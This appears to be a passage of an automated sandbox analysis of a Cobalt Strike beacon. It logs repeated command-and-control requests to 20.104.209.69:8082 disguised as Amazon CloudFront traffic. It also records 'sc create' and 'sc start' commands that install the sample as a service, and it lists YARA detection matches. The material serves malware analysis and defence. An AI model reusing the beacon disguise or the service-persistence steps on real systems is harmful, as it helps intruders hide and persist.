Jan 8, 2023 16:07:35.937768936 CET	629	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:36.057576895 CET	630	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:27 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.6	49785	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:36.328489065 CET	633	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:36.447315931 CET	633	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:27 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.6	49786	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:36.702289104 CET	636	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:36.821535110 CET	636	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:28 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.6	49787	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:37.114583015 CET	639	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:37.233314037 CET	639	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:28 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.6	49707	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:00.558635950 CET	385	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:00.677850008 CET	385	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:51 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.6	49788	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:37.505846024 CET	642	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:37.623992920 CET	642	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:28 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.6	49789	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:37.905090094 CET	645	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:38.023699045 CET	646	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:29 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.6	49790	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:38.280620098 CET	649	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:38.402664900 CET	649	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:29 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.6	49791	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:38.677210093 CET	664	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:38.798675060 CET	665	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:30 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.6	49793	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:39.069355965 CET	668	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:39.189188957 CET	668	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:30 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.6	49794	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:39.460477114 CET	671	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:39.579773903 CET	671	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:30 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.6	49795	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:39.839122057 CET	674	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:39.958802938 CET	675	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:31 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.6	49796	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:40.216979980 CET	677	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:40.336195946 CET	678	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:31 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.6	49797	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:40.605376959 CET	681	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:40.724967003 CET	681	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:31 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.6	49798	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:40.980412960 CET	684	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:41.097732067 CET	684	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:32 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: cmd.exePID: 6060, Parent PID: 1848

General

Target ID:	0
Start time:	16:06:50
Start date:	08/01/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c sc create CfsHz binpath= "C:\Users\user\Desktop\8082-svc-x86.exe" >> C:\servicereg.log 2>&1
Imagebase:	0x1b0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6068, Parent PID: 6060

General

Target ID:	1
Start time:	16:06:50
Start date:	08/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 6100, Parent PID: 6060

General

Target ID:	2
Start time:	16:06:50
Start date:	08/01/2023
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc create CfsHz binpath= "C:\Users\user\Desktop\8082-svc-x86.exe"
Imagebase:	0xac0000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 3140, Parent PID: 1848

General

Target ID:	3
Start time:	16:06:52
Start date:	08/01/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c sc start CfsHz >> C:\servicestart.log 2>&1
Imagebase:	0x1b0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2752, Parent PID: 3140

General

Target ID:	4
Start time:	16:06:52
Start date:	08/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: sc.exePID: 988, Parent PID: 3140

General

Target ID:	5
Start time:	16:06:52
Start date:	08/01/2023
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc start CfsHz
Imagebase:	0xac0000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: 8082-svc-x86.exePID: 1284, Parent PID: 576

General

Target ID:	6
Start time:	16:06:52
Start date:	08/01/2023
Path:	C:\Users\user\Desktop\8082-svc-x86.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\8082-svc-x86.exe
Imagebase:	0x400000
File size:	285696 bytes
MD5 hash:	8FC088EEC229A693F2D754C67A2E506A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x, Description: Cobalt Strike\'s resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x), Source: 00000006.00000000.252641646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: gssincla@google.com Rule: CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x, Description: Cobalt Strike\'s resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x), Source: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: gssincla@google.com Rule: CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6, Description: Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6, Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, Author: gssincla@google.com Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, Author: FireEye Rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator, Description: Detects CobaltStrike C2 encoded profile configuration, Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: SUSP_XORed_Mozilla, Description: Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 3128, Parent PID: 1284

General

Target ID:	7
Start time:	16:06:54
Start date:	08/01/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\rundll32.exe
Imagebase:	0x1120000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000007.00000002.780101096.00000000010C6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: SUSP_PS1_FromBase64String_Content_Indicator, Description: Detects suspicious base64 encoded PowerShell expressions, Source: 00000007.00000002.780610935.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth Rule: CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x, Description: Cobalt Strike\'s resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x, Source: 00000007.00000002.780610935.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, Author: gssincla@google.com Rule: CobaltStrike_Sleeve_Beacon_Dll_v4_3_v4_4_v4_5_and_v4_6, Description: Cobalt Strike\'s sleeve/beacon.dll Versions 4.3 and 4.4, Source: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Author: gssincla@google.com Rule: CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6, Description: Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6, Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Author: gssincla@google.com Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Author: FireEye 